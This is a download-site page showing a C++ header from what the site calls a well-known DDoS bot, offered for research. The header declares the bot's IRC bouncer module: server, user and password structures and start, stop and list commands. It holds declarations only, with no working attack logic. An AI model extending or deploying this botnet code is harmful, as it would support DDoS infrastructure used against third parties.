⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 bnc.h.svn-base

📁 很有名的一款用于组织DDoS的恶意机器人程序。仅供研究学习
💻 SVN-BASE
字号:
#ifndef __BNC_H__
#define __BNC_H__

#include "cstring.h"
#include "commands.h"
#include "message.h"
#include "irc.h"

using namespace std;

typedef struct bnc_s
{
	unsigned short  iPort;
	unsigned int	iServerNum;
} bnc;

typedef struct bnc_server_s
{
	CString			sServer;
	unsigned short  iPort;
	unsigned int	iServerNum;
} bnc_server;

typedef struct bnc_user_s
{
	CString			sUsername;		// Username
	CString			sPassword;		// Password
	CString			sHost;			// Host
	CString			sIdentd;		// Identd
	unsigned int	iServerNum;
} bnc_user;

typedef struct bnc_login_s
{
	CString			sUsername;		// Username
	CString			sIRCUsername;	// Username in IRC
	CString			sHost;			// Host
	CString			sIdentd;		// Identd
	unsigned int	iServerNum;
} bnc_login;

class CBNC : public CCommandHandler
{
public:
	CBNC();
	void Init();

	bool	HandleCommand(CMessage *pMsg);

	int		StartBNC(unsigned long iServerNum, int iPort);

	unsigned long	iServerNum;
	command	m_cmdStart, m_cmdStop, m_cmdStopAll, m_cmdList;
protected:
	int		DeleteLoginById(unsigned long iServerNum, char *szUsername);
	int		DeleteLoginById(unsigned long iServerNum, bool bAll);

	int		DeleteUserById(unsigned long iServerNum, char *szUsername);
	int		DeleteUserById(unsigned long iServerNum, bool bAll);

	int		DeleteServerById(unsigned long iServerNum, char *szUsername);
	int		DeleteServerById(unsigned long iServerNum, bool bAll);
private:
	list<bnc*> lbStart;
	list<bnc_server*> lsStart;
	list<bnc_login*> llStart;
	list<bnc_user*> luStart;
};

#endif // __BNC_H__

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -